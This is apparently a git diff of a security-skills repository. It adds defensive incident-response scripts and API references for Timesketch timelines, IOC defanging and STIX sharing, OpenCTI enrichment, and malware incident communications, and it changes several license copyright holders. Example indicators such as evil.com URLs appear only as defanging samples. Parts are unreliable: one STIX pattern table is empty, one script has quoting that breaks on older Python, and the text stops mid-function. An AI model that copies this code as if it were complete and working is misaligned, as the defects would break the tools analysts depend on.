Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-incident-timeline-with-timesketch/LICENSE b/skills/building-incident-timeline-with-timesketch/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-incident-timeline-with-timesketch/LICENSE +++ b/skills/building-incident-timeline-with-timesketch/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-incident-timeline-with-timesketch/references/api-reference.md b/skills/building-incident-timeline-with-timesketch/references/api-reference.md new file mode 100644 index 00000000..621bc109 --- /dev/null +++ b/skills/building-incident-timeline-with-timesketch/references/api-reference.md @@ -0,0 +1,80 @@ +# API Reference: Incident Timeline Building with Timesketch + +## Authentication +``` +POST /login/ +Content-Type: application/x-www-form-urlencoded +Body: username=USER&password=PASS +``` + +## Sketch Endpoints +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/api/v1/sketches/` | List all sketches | +| POST | `/api/v1/sketches/` | Create new sketch | +| GET | `/api/v1/sketches/{id}/` | Get sketch details | +| DELETE | `/api/v1/sketches/{id}/` | Delete sketch | + +## Timeline Upload +``` +POST /api/v1/upload/ +Content-Type: multipart/form-data +Fields: name, sketch_id, file (Plaso/CSV/JSONL) +``` + +## Event Search (Explore) +``` +POST /api/v1/sketches/{id}/explore/ +{ + "query": "source_short:EVT AND message:*logon*", + "limit": 500, + "fields": ["datetime", "timestamp_desc", "message", "source_short"], + "filter": { + "chips": [ + {"type": "datetime_range", "value": "2024-01-01T00:00:00,2024-01-31T23:59:59", "active": true} + ] + } +} +``` + +## Event Annotation +``` +POST /api/v1/sketches/{id}/event/annotate/ +{ + "annotation": "suspicious,lateral-movement", + "annotation_type": "tag", + "events": {"event_id": "abc123"} +} +``` + +## Supported Timeline Formats +| Format | Extension | Description | +|--------|-----------|-------------| +| Plaso | `.plaso` | log2timeline output | +| CSV | `.csv` | Timesketch CSV (datetime, message, timestamp_desc) | +| JSONL | `.jsonl` | One JSON event per line | + +## Event Fields +| Field | Description | +|-------|-------------| +| `datetime` | Event timestamp (ISO 8601) | +| `timestamp_desc` | Timestamp meaning (e.g., "Creation Time") | +| `message` | Human-readable event description | +| `source_short` | Source type (EVT, FILE, LOG, REG) | +| `source_long` | Full source name | + +## Analyzers +``` +POST /api/v1/sketches/{id}/analyzer/ +{"analyzer_names": ["domain", "similarity_scorer", "tagger"]} +``` + +## Python Client +```python +from timesketch_api_client import config as ts_config +from timesketch_api_client import client as ts_client + +ts = ts_client.TimesketchApi(host, username, password) +sketch = ts.get_sketch(sketch_id) +results = sketch.explore(query="*", return_fields="datetime,message") +``` diff --git a/skills/building-incident-timeline-with-timesketch/scripts/agent.py b/skills/building-incident-timeline-with-timesketch/scripts/agent.py new file mode 100644 index 00000000..ff19d8b4 --- /dev/null +++ b/skills/building-incident-timeline-with-timesketch/scripts/agent.py @@ -0,0 +1,166 @@ +#!/usr/bin/env python3 +"""Incident Timeline Builder Agent - Creates forensic timelines using Timesketch API.""" + +import json +import logging +import argparse +from datetime import datetime + +import requests + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def get_session(host, username, password): + """Authenticate to Timesketch and return session.""" + session = requests.Session() + resp = session.post( + f"{host}/login/", + data={"username": username, "password": password}, + headers={"Content-Type": "application/x-www-form-urlencoded"}, + timeout=15, + ) + resp.raise_for_status() + logger.info("Authenticated to Timesketch as %s", username) + return session + + +def list_sketches(session, host): + """List all sketches.""" + resp = session.get(f"{host}/api/v1/sketches/", timeout=15) + resp.raise_for_status() + sketches = resp.json().get("objects", []) + return [{"id": s["id"], "name": s["name"], "status": s.get("status", [{}])[0].get("status", "unknown"), + "timelines": len(s.get("timelines", []))} for s in sketches] + + +def create_sketch(session, host, name, description=""): + """Create a new sketch.""" + resp = session.post( + f"{host}/api/v1/sketches/", + json={"name": name, "description": description}, + timeout=15, + ) + resp.raise_for_status() + sketch = resp.json().get("objects", [{}])[0] + logger.info("Created sketch %s (id=%s)", name, sketch.get("id")) + return sketch + + +def upload_timeline(session, host, sketch_id, file_path, timeline_name): + """Upload a Plaso/CSV/JSONL timeline to a sketch.""" + with open(file_path, "rb") as f: + resp = session.post( + f"{host}/api/v1/upload/", + data={"name": timeline_name, "sketch_id": sketch_id}, + files={"file": (file_path, f)}, + timeout=120, + ) + resp.raise_for_status() + logger.info("Uploaded timeline %s to sketch %s", timeline_name, sketch_id) + return resp.json() + + +def search_events(session, host, sketch_id, query, time_start=None, time_end=None, max_entries=500): + """Search events in a sketch using OpenSearch query string.""" + body = {"query": query, "limit": max_entries, "fields": ["datetime", "timestamp_desc", "message", "source_short"]} + chips = [] + if time_start and time_end: + chips.append({"type": "datetime_range", "value": f"{time_start},{time_end}", "active": True}) + body["filter"] = {"chips": chips} + resp = session.post(f"{host}/api/v1/sketches/{sketch_id}/explore/", json=body, timeout=30) + resp.raise_for_status() + data = resp.json() + events = data.get("objects", []) + meta = data.get("meta", {}) + logger.info("Search returned %d events (total: %s)", len(events), meta.get("total_count", "?")) + return events, meta + + +def build_timeline_summary(events): + """Analyze events to build timeline summary with key milestones.""" + if not events: + return {"total_events": 0, "sources": {}, "milestones": []} + sources = {} + earliest = None + latest = None + for evt in events: + src = evt.get("source_short", "unknown") + sources[src] = sources.get(src, 0) + 1 + dt = evt.get("datetime", "") + if dt: + if earliest is None or dt < earliest: + earliest = dt + if latest is None or dt > latest: + latest = dt + sorted_events = sorted(events, key=lambda e: e.get("datetime", "")) + milestones = [] + if sorted_events: + milestones.append({"type": "first_event", "datetime": sorted_events[0].get("datetime"), + "message": sorted_events[0].get("message", "")[:200]}) + milestones.append({"type": "last_event", "datetime": sorted_events[-1].get("datetime"), + "message": sorted_events[-1].get("message", "")[:200]}) + return {"total_events": len(events), "time_range": {"start": earliest, "end": latest}, + "sources": sources, "milestones": milestones} + + +def tag_events(session, host, sketch_id, event_ids, tags): + """Tag events for annotation.""" + results = [] + for eid in event_ids: + resp = session.post( + f"{host}/api/v1/sketches/{sketch_id}/event/annotate/", + json={"annotation": ",".join(tags), "annotation_type": "tag", "events": {"event_id": eid}}, + timeout=15, + ) + results.append({"event_id": eid, "status": resp.status_code}) + logger.info("Tagged %d events with %s", len(event_ids), tags) + return results + + +def generate_report(sketches, search_results, summary): + """Generate incident timeline report.""" + report = { + "timestamp": datetime.utcnow().isoformat(), + "sketches": sketches, + "search_summary": summary, + "event_count": summary.get("total_events", 0), + "source_breakdown": summary.get("sources", {}), + "milestones": summary.get("milestones", []), + } + status = "EVENTS_FOUND" if summary.get("total_events", 0) > 0 else "NO_EVENTS" + print(f"TIMELINE REPORT: {status}, {summary.get('total_events', 0)} events across {len(summary.get('sources', {}))} sources") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Incident Timeline Builder with Timesketch") + parser.add_argument("--host", required=True, help="Timesketch server URL") + parser.add_argument("--username", required=True) + parser.add_argument("--password", required=True) + parser.add_argument("--sketch-id", type=int, help="Existing sketch ID to query") + parser.add_argument("--query", default="*", help="OpenSearch query string") + parser.add_argument("--time-start", help="Start time filter (ISO 8601)") + parser.add_argument("--time-end", help="End time filter (ISO 8601)") + parser.add_argument("--output", default="timeline_report.json") + args = parser.parse_args() + + session = get_session(args.host, args.username, args.password) + sketches = list_sketches(session, args.host) + + search_results = [] + summary = {"total_events": 0, "sources": {}, "milestones": []} + if args.sketch_id: + events, meta = search_events(session, args.host, args.sketch_id, args.query, args.time_start, args.time_end) + search_results = events + summary = build_timeline_summary(events) + + report = generate_report(sketches, search_results, summary) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/building-ioc-defanging-and-sharing-pipeline/LICENSE b/skills/building-ioc-defanging-and-sharing-pipeline/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-ioc-defanging-and-sharing-pipeline/LICENSE +++ b/skills/building-ioc-defanging-and-sharing-pipeline/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-ioc-defanging-and-sharing-pipeline/references/api-reference.md b/skills/building-ioc-defanging-and-sharing-pipeline/references/api-reference.md new file mode 100644 index 00000000..d8fe1f3b --- /dev/null +++ b/skills/building-ioc-defanging-and-sharing-pipeline/references/api-reference.md @@ -0,0 +1,60 @@ +# API Reference: IOC Defanging and Sharing Pipeline + +## IOC Defanging Rules +| Type | Original | Defanged | +|------|----------|----------| +| IPv4 | `192.168.1.1` | `192[.]168[.]1[.]1` | +| Domain | `evil.com` | `evil[.]com` | +| URL | `https://evil.com/payload` | `hxxps://evil[.]com/payload` | +| Email | `attacker@evil.com` | `attacker@evil[.]com` | + +## IOC Extraction Patterns +| Type | Regex | +|------|-------| +| IPv4 | `\b(?:\d{1,3}\.){3}\d{1,3}\b` | +| Domain | `\b(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,}\b` | +| URL | `https?://[^\s"'<>]+` | +| MD5 | `\b[a-fA-F0-9]{32}\b` | +| SHA256 | `\b[a-fA-F0-9]{64}\b` | + +## STIX 2.1 Indicator Format +```json +{ + "type": "indicator", + "spec_version": "2.1", + "pattern_type": "stix", + "pattern": "[ipv4-addr:value = '1.2.3.4']", + "valid_from": "2024-01-01T00:00:00Z", + "labels": ["malicious-activity"] +} +``` + +## VirusTotal API v3 +``` +GET https://www.virustotal.com/api/v3/files/{hash} +x-apikey: YOUR_KEY +``` + +## AbuseIPDB API v2 +``` +GET https://api.abuseipdb.com/api/v2/check +Key: YOUR_KEY +Params: ipAddress, maxAgeInDays +``` + +## STIX Pattern Examples +| IOC Type | STIX Pattern | +|----------|-------------| +| IPv4 | `[ipv4-addr:value = '1.2.3.4']` | +| Domain | `[domain-name:value = 'evil.com']` | +| URL | `[url:value = 'https://evil.com']` | +| MD5 | `[file:hashes.'MD5' = 'abc123...']` | +| SHA256 | `[file:hashes.'SHA-256' = 'def456...']` | + +## TAXII 2.1 Sharing +``` +POST https://taxii.server/api/collections/{id}/objects/ +Authorization: Basic BASE64 +Content-Type: application/taxii+json;version=2.1 +Body: STIX Bundle JSON +``` diff --git a/skills/building-ioc-defanging-and-sharing-pipeline/scripts/agent.py b/skills/building-ioc-defanging-and-sharing-pipeline/scripts/agent.py new file mode 100644 index 00000000..ea300671 --- /dev/null +++ b/skills/building-ioc-defanging-and-sharing-pipeline/scripts/agent.py @@ -0,0 +1,172 @@ +#!/usr/bin/env python3 +"""IOC Defanging and Sharing Pipeline Agent - Defangs, enriches, and shares IOCs in STIX format.""" + +import json +import logging +import argparse +import os +import re +from datetime import datetime + +import requests + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +IOC_PATTERNS = { + "ipv4": re.compile(r"\b(?:\d{1,3}\.){3}\d{1,3}\b"), + "domain": re.compile(r"\b(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,}\b"), + "url": re.compile(r"https?://[^\s\"'<>]+"), + "md5": re.compile(r"\b[a-fA-F0-9]{32}\b"), + "sha256": re.compile(r"\b[a-fA-F0-9]{64}\b"), + "email": re.compile(r"\b[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}\b"), +} + +EXCLUSION_DOMAINS = {"example.com", "example.org", "example.net", "localhost", "schema.org", + "w3.org", "microsoft.com", "google.com", "github.com"} + + +def extract_iocs(text): + """Extract IOCs from raw text.""" + results = {} + for ioc_type, pattern in IOC_PATTERNS.items(): + matches = set(pattern.findall(text)) + if ioc_type == "domain": + matches = {m for m in matches if m.split(".")[-1] not in {"py", "js", "json", "xml", "yml"} + and m not in EXCLUSION_DOMAINS and not any(excl in m for excl in EXCLUSION_DOMAINS)} + results[ioc_type] = list(matches) + logger.info("Extracted IOCs: %s", {k: len(v) for k, v in results.items()}) + return results + + +def defang_ioc(value, ioc_type): + """Defang an IOC for safe sharing.""" + if ioc_type == "ipv4": + return value.replace(".", "[.]") + elif ioc_type in ("domain", "email"): + return value.replace(".", "[.]") + elif ioc_type == "url": + return value.replace("http://", "hxxp://").replace("https://", "hxxps://").replace(".", "[.]") + return value + + +def refang_ioc(value, ioc_type): + """Refang a defanged IOC back to original form.""" + if ioc_type in ("ipv4", "domain", "email"): + return value.replace("[.]", ".") + elif ioc_type == "url": + return value.replace("hxxp://", "http://").replace("hxxps://", "https://").replace("[.]", ".") + return value + + +def enrich_ioc(value, ioc_type, vt_key=None, abuseipdb_key=None): + """Enrich IOC with threat intelligence from VirusTotal and AbuseIPDB.""" + vt_key = vt_key or os.environ.get("VT_API_KEY", "") + abuseipdb_key = abuseipdb_key or os.environ.get("ABUSEIPDB_KEY", "") + enrichment = {"value": value, "type": ioc_type, "sources": []} + if ioc_type in ("md5", "sha256") and vt_key: + try: + resp = requests.get(f"https://www.virustotal.com/api/v3/files/{value}", + headers={"x-apikey": vt_key}, timeout=10) + if resp.status_code == 200: + data = resp.json().get("data", {}).get("attributes", {}).get("last_analysis_stats", {}) + enrichment["vt_malicious"] = data.get("malicious", 0) + enrichment["sources"].append("virustotal") + except requests.RequestException: + pass + elif ioc_type == "ipv4" and abuseipdb_key: + try: + resp = requests.get("https://api.abuseipdb.com/api/v2/check", + params={"ipAddress": value, "maxAgeInDays": 90}, + headers={"Key": abuseipdb_key, "Accept": "application/json"}, timeout=10) + if resp.status_code == 200: + data = resp.json().get("data", {}) + enrichment["abuse_score"] = data.get("abuseConfidenceScore", 0) + enrichment["sources"].append("abuseipdb") + except requests.RequestException: + pass + return enrichment + + +def to_stix_bundle(iocs): + """Convert IOCs to STIX 2.1 bundle for sharing.""" + objects = [] + stix_type_map = {"ipv4": "ipv4-addr", "domain": "domain-name", "url": "url", + "md5": "file", "sha256": "file", "email": "email-addr"} + for ioc_type, values in iocs.items(): + for value in values: + stype = stix_type_map.get(ioc_type) + if not stype: + continue + indicator = { + "type": "indicator", + "spec_version": "2.1", + "id": f"indicator--{hash(value) % (10**12):012d}", + "created": datetime.utcnow().isoformat() + "Z", + "pattern_type": "stix", + "pattern": f"[{stype}:value = '{value}']" if stype != "file" + else f"[file:hashes.'{ioc_type.upper()}' = '{value}']", + "valid_from": datetime.utcnow().isoformat() + "Z", + "labels": ["malicious-activity"], + } + objects.append(indicator) + bundle = {"type": "bundle", "id": f"bundle--{hash(str(iocs)) % (10**12):012d}", + "objects": objects} + logger.info("Created STIX bundle with %d indicators", len(objects)) + return bundle + + +def defang_all(iocs): + """Defang all extracted IOCs.""" + defanged = {} + for ioc_type, values in iocs.items(): + defanged[ioc_type] = [{"original": v, "defanged": defang_ioc(v, ioc_type)} for v in values] + return defanged + + +def generate_report(iocs, defanged, stix_bundle): + """Generate IOC sharing pipeline report.""" + total = sum(len(v) for v in iocs.values()) + report = { + "timestamp": datetime.utcnow().isoformat(), + "total_iocs": total, + "by_type": {k: len(v) for k, v in iocs.items()}, + "defanged_iocs": defanged, + "stix_indicator_count": len(stix_bundle.get("objects", [])), + "stix_bundle": stix_bundle, + } + print(f"IOC PIPELINE REPORT: {total} IOCs extracted, {len(stix_bundle.get('objects', []))} STIX indicators") + return report + + +def main(): + parser = argparse.ArgumentParser(description="IOC Defanging and Sharing Pipeline") + parser.add_argument("--input-file", required=True, help="Text file containing IOCs") + parser.add_argument("--enrich", action="store_true", help="Enrich IOCs with threat intel") + parser.add_argument("--vt-key", default=os.environ.get("VT_API_KEY", ""), help="VirusTotal API key") + parser.add_argument("--abuseipdb-key", default=os.environ.get("ABUSEIPDB_KEY", ""), help="AbuseIPDB API key") + parser.add_argument("--output", default="ioc_pipeline_report.json") + args = parser.parse_args() + + with open(args.input_file) as f: + text = f.read() + + iocs = extract_iocs(text) + defanged = defang_all(iocs) + stix_bundle = to_stix_bundle(iocs) + + if args.enrich: + enrichments = [] + for ioc_type, values in iocs.items(): + for value in values[:10]: + enrichments.append(enrich_ioc(value, ioc_type, args.vt_key, args.abuseipdb_key)) + logger.info("Enriched %d IOCs", len(enrichments)) + + report = generate_report(iocs, defanged, stix_bundle) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/building-ioc-enrichment-pipeline-with-opencti/LICENSE b/skills/building-ioc-enrichment-pipeline-with-opencti/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-ioc-enrichment-pipeline-with-opencti/LICENSE +++ b/skills/building-ioc-enrichment-pipeline-with-opencti/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-ioc-enrichment-pipeline-with-opencti/references/api-reference.md b/skills/building-ioc-enrichment-pipeline-with-opencti/references/api-reference.md new file mode 100644 index 00000000..1ad74144 --- /dev/null +++ b/skills/building-ioc-enrichment-pipeline-with-opencti/references/api-reference.md @@ -0,0 +1,104 @@ +# API Reference: IOC Enrichment Pipeline with OpenCTI + +## pycti — OpenCTI Python Client + +### Installation +```bash +pip install pycti +``` + +### Client Initialization +```python +from pycti import OpenCTIApiClient + +client = OpenCTIApiClient( + url="http://localhost:8080", + token=os.environ.get("OPENCTI_TOKEN", "") +) +``` + +### Indicator Operations +```python +# List indicators with filter +filters = { + "mode": "and", + "filters": [{"key": "value", "values": ["198.51.100.42"]}], + "filterGroups": [] +} +indicators = client.indicator.list(filters=filters) + +# Create indicator +client.indicator.create( + name="Malicious IP", + pattern="[ipv4-addr:value = '198.51.100.42']", + pattern_type="stix", + x_opencti_score=80, + valid_from="2025-01-01T00:00:00Z" +) +``` + +### Observable Operations +```python +# Search observables +obs = client.stix_cyber_observable.list(filters=filters) + +# Create observable +client.stix_cyber_observable.create( + observableData={ + "type": "ipv4-addr", + "value": "198.51.100.42" + } +) +``` + +### Relationship Queries +```python +# Get relationships from entity +rels = client.stix_core_relationship.list( + filters={ + "mode": "and", + "filters": [{"key": "fromId", "values": [entity_id]}], + "filterGroups": [] + } +) +``` + +## OpenCTI GraphQL API + +### Endpoint +``` +POST /graphql +Authorization: Bearer +Content-Type: application/json +``` + +### Example Query +```graphql +query { + indicators(filters: { + mode: and + filters: [{ key: "value", values: ["198.51.100.42"] }] + filterGroups: [] + }) { + edges { + node { + id + pattern + x_opencti_score + createdBy { name } + objectLabel { value } + } + } + } +} +``` + +## STIX Indicator Patterns +| Type | STIX Pattern | +|------|-------------| +| IPv4 | | +| Domain | | +| URL | | +| SHA-256 | | +| MD5 | | +| Email | | diff --git a/skills/building-ioc-enrichment-pipeline-with-opencti/scripts/agent.py b/skills/building-ioc-enrichment-pipeline-with-opencti/scripts/agent.py new file mode 100644 index 00000000..8e7a7d65 --- /dev/null +++ b/skills/building-ioc-enrichment-pipeline-with-opencti/scripts/agent.py @@ -0,0 +1,172 @@ +#!/usr/bin/env python3 +"""IOC enrichment pipeline using OpenCTI and the pycti Python client. + +Queries OpenCTI's GraphQL API to enrich indicators of compromise with +threat context, relationships, and scoring from connected intelligence sources. +""" + +import os +import sys +import json +import datetime +import hashlib +import re + +try: + from pycti import OpenCTIApiClient + HAS_PYCTI = True +except ImportError: + HAS_PYCTI = False + +try: + import requests + HAS_REQUESTS = True +except ImportError: + HAS_REQUESTS = False + + +def init_client(url=None, token=None): + """Initialize OpenCTI API client.""" + url = url or os.environ.get("OPENCTI_URL", "http://localhost:8080") + token = token or os.environ.get("OPENCTI_TOKEN", "") + if not HAS_PYCTI: + return None + return OpenCTIApiClient(url, token) + + +def enrich_indicator(client, indicator_value): + """Enrich a single indicator via OpenCTI GraphQL API.""" + if not client: + return {"error": "pycti not available"} + filters = { + "mode": "and", + "filters": [{"key": "value", "values": [indicator_value]}], + "filterGroups": [], + } + results = client.indicator.list(filters=filters) + enriched = [] + for ind in results: + entry = { + "id": ind.get("id"), + "pattern": ind.get("pattern"), + "name": ind.get("name"), + "valid_from": ind.get("valid_from"), + "valid_until": ind.get("valid_until"), + "score": ind.get("x_opencti_score"), + "created_by": ind.get("createdBy", {}).get("name", "Unknown") if ind.get("createdBy") else "Unknown", + "labels": [l.get("value") for l in ind.get("objectLabel", [])], + "kill_chain_phases": [ + f"{k.get("kill_chain_name")}:{k.get("phase_name")}" + for k in ind.get("killChainPhases", []) + ], + } + enriched.append(entry) + return enriched + + +def enrich_observable(client, observable_value): + """Enrich a STIX Cyber Observable via OpenCTI.""" + if not client: + return {"error": "pycti not available"} + filters = { + "mode": "and", + "filters": [{"key": "value", "values": [observable_value]}], + "filterGroups": [], + } + results = client.stix_cyber_observable.list(filters=filters) + enriched = [] + for obs in results: + entry = { + "id": obs.get("id"), + "entity_type": obs.get("entity_type"), + "value": obs.get("observable_value"), + "score": obs.get("x_opencti_score"), + "labels": [l.get("value") for l in obs.get("objectLabel", [])], + "created_by": obs.get("createdBy", {}).get("name", "Unknown") if obs.get("createdBy") else "Unknown", + } + enriched.append(entry) + return enriched + + +def get_relationships(client, entity_id, relationship_type=None): + """Get STIX relationships for an entity.""" + if not client: + return [] + filters = { + "mode": "and", + "filters": [{"key": "fromId", "values": [entity_id]}], + "filterGroups": [], + } + if relationship_type: + filters["filters"].append({"key": "relationship_type", "values": [relationship_type]}) + rels = client.stix_core_relationship.list(filters=filters) + return [ + { + "type": r.get("relationship_type"), + "target": r.get("to", {}).get("name", r.get("to", {}).get("observable_value", "?")), + "confidence": r.get("confidence"), + "start_time": r.get("start_time"), + } + for r in rels + ] + + +def classify_ioc(value): + """Classify IOC type from value string.""" + if re.match(r"^[0-9]{1,3}(\.[0-9]{1,3}){3}$", value): + return "IPv4-Addr" + if re.match(r"^[a-fA-F0-9]{32}$", value): + return "MD5" + if re.match(r"^[a-fA-F0-9]{40}$", value): + return "SHA-1" + if re.match(r"^[a-fA-F0-9]{64}$", value): + return "SHA-256" + if re.match(r"^[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$", value): + return "Domain-Name" + if value.startswith("http://") or value.startswith("https://"): + return "Url" + return "Unknown" + + +def build_enrichment_report(client, iocs): + """Build enrichment report for a list of IOCs.""" + report = {"timestamp": datetime.datetime.utcnow().isoformat() + "Z", "iocs": []} + for ioc in iocs: + ioc_type = classify_ioc(ioc) + entry = {"value": ioc, "type": ioc_type, "indicators": [], "observables": [], "relationships": []} + if client: + entry["indicators"] = enrich_indicator(client, ioc) + entry["observables"] = enrich_observable(client, ioc) + for ind in entry["indicators"]: + if ind.get("id"): + entry["relationships"].extend(get_relationships(client, ind["id"])) + report["iocs"].append(entry) + return report + + +if __name__ == "__main__": + print("=" * 60) + print("IOC Enrichment Pipeline with OpenCTI") + print("pycti GraphQL client for indicator and observable enrichment") + print("=" * 60) + print(f" pycti available: {HAS_PYCTI}") + + demo_iocs = ["198.51.100.42", "evil-domain.example.com", "d41d8cd98f00b204e9800998ecf8427e"] + if len(sys.argv) > 1: + demo_iocs = sys.argv[1:] + + client = init_client() if HAS_PYCTI else None + if not client: + print(" +[DEMO] No OpenCTI connection. Showing classification only.") + + report = build_enrichment_report(client, demo_iocs) + for ioc in report["iocs"]: + print(f" + IOC: {ioc["value"]} Type: {ioc["type"]}") + print(f" Indicators found: {len(ioc["indicators"])}") + print(f" Observables found: {len(ioc["observables"])}") + print(f" Relationships: {len(ioc["relationships"])}") + + print(f" +{json.dumps({"total_iocs": len(report["iocs"])}, indent=2)}") diff --git a/skills/building-malware-incident-communication-template/LICENSE b/skills/building-malware-incident-communication-template/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-malware-incident-communication-template/LICENSE +++ b/skills/building-malware-incident-communication-template/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-malware-incident-communication-template/references/api-reference.md b/skills/building-malware-incident-communication-template/references/api-reference.md new file mode 100644 index 00000000..1252c277 --- /dev/null +++ b/skills/building-malware-incident-communication-template/references/api-reference.md @@ -0,0 +1,55 @@ +# API Reference: Malware Incident Communication Templates + +## Severity Levels +| Level | Response Time | Escalation | Update Frequency | +|-------|--------------|------------|------------------| +| Critical | 15 minutes | CISO + Legal + CEO | 1 hour | +| High | 1 hour | CISO + SOC Manager | 2 hours | +| Medium | 4 hours | SOC Manager | 4 hours | +| Low | 24 hours | SOC Analyst | Daily | + +## Malware Categories +| Type | Impact | Primary Containment | +|------|--------|-------------------| +| Ransomware | Data encryption, ops disruption | Isolate hosts, disable shares | +| Trojan | Unauthorized access, exfiltration | Block C2, isolate hosts | +| Wiper | Data destruction | Immediate isolation | +| Infostealer | Credential/PII theft | Block exfiltration channels | +| Worm | Lateral spread | Segment network | + +## Incident Response Phases (NIST SP 800-61) +| Phase | Communication Focus | +|-------|-------------------| +| Detection | Initial notification, severity classification | +| Containment | Status updates, scope assessment | +| Eradication | Technical progress, IOC sharing | +| Recovery | Service restoration, monitoring | +| Post-Incident | Lessons learned, executive summary | + +## Regulatory Notification Deadlines +| Regulation | Deadline | Authority | +|-----------|----------|-----------| +| GDPR | 72 hours | Data Protection Authority | +| HIPAA | 60 days | HHS OCR | +| PCI DSS | Immediate | Card brands + acquirer | +| CCPA | Without unreasonable delay | CA Attorney General | +| NIS2 | 24h early warning + 72h full | CSIRT | + +## Communication Template Fields +| Field | Required | Description | +|-------|----------|-------------| +| incident_id | Yes | Unique incident identifier | +| severity | Yes | critical/high/medium/low | +| subject | Yes | Email/notification subject line | +| timestamp | Yes | ISO 8601 format | +| affected_systems | Yes | List of impacted assets | +| actions_taken | Yes | Completed response actions | +| next_steps | Yes | Planned response actions | + +## VERIS Framework Mapping +| VERIS Field | Maps To | +|-------------|---------| +| action.malware.variety | malware_type | +| attribute.integrity | impact | +| timeline.incident | detection timestamp | +| asset.assets | affected_systems | diff --git a/skills/building-malware-incident-communication-template/scripts/agent.py b/skills/building-malware-incident-communication-template/scripts/agent.py new file mode 100644 index 00000000..ce76204c --- /dev/null +++ b/skills/building-malware-incident-communication-template/scripts/agent.py @@ -0,0 +1,175 @@ +#!/usr/bin/env python3 +"""Malware Incident Communication Template Agent - Generates structured incident communications.""" + +import json +import logging +import argparse +from datetime import datetime, timedelta + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +SEVERITY_LEVELS = { + "critical": {"response_time": "15 minutes", "escalation": "CISO + Legal + CEO", "update_freq": "1 hour"}, + "high": {"response_time": "1 hour", "escalation": "CISO + SOC Manager", "update_freq": "2 hours"}, + "medium": {"response_time": "4 hours", "escalation": "SOC Manager", "update_freq": "4 hours"}, + "low": {"response_time": "24 hours", "escalation": "SOC Analyst", "update_freq": "daily"}, +} + +MALWARE_CATEGORIES = { + "ransomware": {"impact": "Data encryption, operational disruption", "containment": "Isolate affected hosts, disable network shares", + "recovery": "Restore from backups, rebuild affected systems"}, + "trojan": {"impact": "Unauthorized access, data exfiltration", "containment": "Block C2 IPs, isolate hosts", + "recovery": "Full malware removal, credential reset"}, + "wiper": {"impact": "Data destruction, system damage", "containment": "Isolate immediately, preserve evidence", + "recovery": "Rebuild from known-good images"}, + "infostealer": {"impact": "Credential theft, PII exposure", "containment": "Block exfiltration channels, isolate hosts", + "recovery": "Force password resets, monitor for abuse"}, + "worm": {"impact": "Lateral spread, network disruption", "containment": "Segment network, block propagation vectors", + "recovery": "Patch vulnerability, clean all hosts"}, +} + + +def generate_initial_notification(incident_id, severity, malware_type, affected_systems, detected_by): + """Generate initial incident notification.""" + sev_info = SEVERITY_LEVELS.get(severity, SEVERITY_LEVELS["medium"]) + mal_info = MALWARE_CATEGORIES.get(malware_type, {"impact": "Under investigation", "containment": "Isolate affected systems"}) + notification = { + "type": "initial_notification", + "incident_id": incident_id, + "timestamp": datetime.utcnow().isoformat(), + "subject": f"[{severity.upper()}] Malware Incident {incident_id} - {malware_type.title()} Detected", + "severity": severity, + "escalation_to": sev_info["escalation"], + "response_deadline": sev_info["response_time"], + "body": { + "summary": f"A {malware_type} infection has been detected on {len(affected_systems)} system(s).", + "detection_source": detected_by, + "affected_systems": affected_systems, + "potential_impact": mal_info["impact"], + "immediate_actions": mal_info["containment"], + "next_update": sev_info["update_freq"], + }, + } + return notification + + +def generate_status_update(incident_id, severity, phase, containment_status, iocs_found, actions_taken): + """Generate incident status update communication.""" + update = { + "type": "status_update", + "incident_id": incident_id, + "timestamp": datetime.utcnow().isoformat(), + "subject": f"[UPDATE] Incident {incident_id} - {phase.replace('_', ' ').title()}", + "phase": phase, + "body": { + "current_status": containment_status, + "actions_completed": actions_taken, + "indicators_discovered": iocs_found, + "next_steps": [], + }, + } + if phase == "containment": + update["body"]["next_steps"] = ["Complete host isolation", "Collect forensic evidence", "Begin malware analysis"] + elif phase == "eradication": + update["body"]["next_steps"] = ["Remove all malware artifacts", "Patch exploited vulnerabilities", "Verify clean state"] + elif phase == "recovery": + update["body"]["next_steps"] = ["Restore services from backups", "Monitor for reinfection", "Validate system integrity"] + return update + + +def generate_executive_summary(incident_id, severity, malware_type, affected_count, timeline_events, business_impact): + """Generate executive-level incident summary.""" + summary = { + "type": "executive_summary", + "incident_id": incident_id, + "timestamp": 